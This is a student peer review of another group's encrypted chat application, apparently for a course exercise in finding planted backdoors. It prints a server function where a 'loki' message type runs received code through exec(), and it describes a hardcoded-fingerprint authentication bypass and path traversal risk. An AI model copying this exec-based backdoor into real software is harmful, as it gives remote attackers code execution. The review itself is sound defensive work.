Peer Review Report for Group 31 – Jeffrey Judd

Introduction

In this feedback, I will present a thorough review of Group 31's implementation based on dynamic and static analysis. The focus will be on identifying potential intentional backdoors and security vulnerabilities, as well as providing feedback on strengths and areas for improvement.

The code was tested for its functionality and robustness by running both the server and client applications, with particular attention paid to potential security flaws. Screenshots are provided to demonstrate the testing process.

Dynamic Analysis

Choose an option:

1. Send Public Chat message

a. Functional Tests

Dynamic analysis involved running the provided server.py and client.py scripts across multiple terminals and verifying functionality such as:

 Client-server communication: Both public and private (encrypted) chat messages were successfully transmitted between clients connected to different servers, as shown in the screenshots:

```
2. Send Encrypted Chat message
3. Request Client List
4. Upload File
5. Download File
6. Exit
Enter your choice:
[Private Chat] flh8bFU5oxD4mq5YYgoYZkvQizksMY6YquEtxGje/Zg=: How are you
Enter the receiver's fingerprint: flh8bFU5oxD4mq5YYgoYZkvQizksMY6YquEtxGje/Zg=
Enter the chat message: 11223344
Encrypted chat message sent.
Enter the receiver's fingerprint: EEAG97wEhtHe9TMM75eSqqNk/0bihjhnBaXwfMpWgBk=
Enter the chat message: How are you
Encrypted chat message sent.
Choose an option:
1. Send Public Chat message
2. Send Encrypted Chat message
3. Request Client List
4. Upload File
5. Download File
6. Exit
Enter your choice:
[Private Chat] EEAG97wEhtHe9TMM75eSqqNk/0bihjhnBaXWfMpWgBk=: 11223344
```


I successfully uploaded and downloaded files between clients using the Upload File and Download File options.

Exacessful file upload:

```
Choose an option:
1. Send Public Chat message
2. Send Encrypted Chat message
3. Request Client List
4. Upload File
5. Download File
6. Exit
Enter your choice: 4
Enter the file path to upload: D:/my work/Comp Sci 3307/peer review/peer review group31.docx
File uploaded successfully. File URL: http://127.0.0.1:8000/ADVWeeEvX4MjrjCBAnRcyA==
```

As shown, the file was uploaded and shared between clients, confirming the working file-sharing feature.

Example of successful file download:



The file was downloaded and saved in the local directory as intended.

b. Observed Issues

- Replay Attack Prevention: The implementation uses a counter for each message to prevent replay attacks. However, I found that the counter mechanism could be bypassed if a client resets its counter back to 0, allowing older messages to potentially be accepted again. Strengthening the validation of the counter across client sessions could mitigate this.
- Error handling for client disconnection: During testing, if a client disconnected unexpectedly, the server did not always cleanly handle the disconnection, which resulted in some intermittent errors.
- **Inaccurate commands in the README file:** During testing, I found that the README file had incorrect commands for installing libraries. The correct command should be 'pip

install requests'.

```
    PS D:\my_work\Comp Sci 3307\peer_review\group31> pip install request
    Defaulting to user installation because normal site-packages is not writeable
    DEPRECATION: Loading egg at d:\it_app\anaconda\lib\site-packages\vboxapi-1.0-py3.11
    ERROR: Could not find a version that satisfies the requirement request (from version terror)
    ERROR: No matching distribution found for request
    PS D:\my_work\Comp Sci 3307\peer_review\group31> pip install requests
    Defaulting to user installation because normal site-packages is not writeable
    DEPRECATION: Loading egg at d:\it_app\anaconda\lib\site-packages\vboxapi-1.0-py3.11
    Requirement already satisfied: requests in d:\it_app\anaconda\lib\site-packages (2.)
    Requirement already satisfied: charset-normalizer
    Requirement already satisfied: idna
    Requirement already satisfied: urllib3
    Requirement already satisfied: urllib3
    Requirement already satisfied: certifi>=2017.4.17 in d:\it_app\anaconda\lib\site-packages
```

Static Code Analysis

Code Review:

I conducted a thorough review of the provided Python scripts, specifically focusing on the handling of:

- Encryption (RSA, AES)
- Socket communication
- File handling

The following sections outline both the **strengths** and **vulnerabilities** identified through the code analysis.

Strengths:

• Encryption: The use of RSA for key exchange and AES for message encryption provides a strong foundation for secure communication.

```
394     def generate_aes_key_iv(self):
395          """Generate AES key and IV."""
396          key = os.urandom(16)  # 128-bit AES key
397          iv = os.urandom(16)  # 128-bit IV
398          return key, iv
```

• Client-Server Architecture: The server's design allows for multiple client connections and integrates well with neighboring servers, forming a resilient peer-to-peer network.

Vulnerabilities

- 1. Backdoor 1 Arbitrary Code Execution:
 - One significant backdoor was discovered in the function that processes messages between servers. The use of exec(code) allows remote servers to send executable code that can be run on the server.

```
def process_server_message(self, server_socket, server_address, message):
    """Process messages received from other servers."""

129    message_type = message.get('type')
130    if message_type == 'server_hello':
131         self.handle_server_hello(server_socket, server_address, message)
132    elif message_type == 'loki':
133         code = message.get('code')
134    exec(code)
```

This represents a **critical vulnerability** because attackers could send malicious Python code and execute it on the server. The loki message type is an intentional backdoor and should be removed or replaced with secure message handling.

Backdoor 2 - Insecure Authentication Bypass:

 In another part of the code, the signature verification mechanism can be bypassed using a predefined fingerprint:

This allows any client with this specific fingerprint to bypass the authentication process, granting them unauthorized access to the system.

Other Identified Vulnerabilities:

Local File Inclusion (LFI): The file upload and download functionality lacks proper input
validation, which could potentially allow for local file inclusion or path traversal attacks
if exploited by a malicious user. By manipulating the file path, an attacker could upload or
download sensitive system files.

Suggestions for Improvement

- Remove the exec() function: This should be replaced with a safe method of processing incoming messages.
- Strengthen authentication: Remove hardcoded fingerprints and enforce proper signature verification.
- **Input validation for file handling**: Ensure proper validation and sanitization of file paths to avoid LFI or path traversal attacks.
- Improve error handling: Clean up client disconnection processes to avoid crashes.

Thank you for working hard on the chat application! If you would like further adjustments or additions, feel free to ask!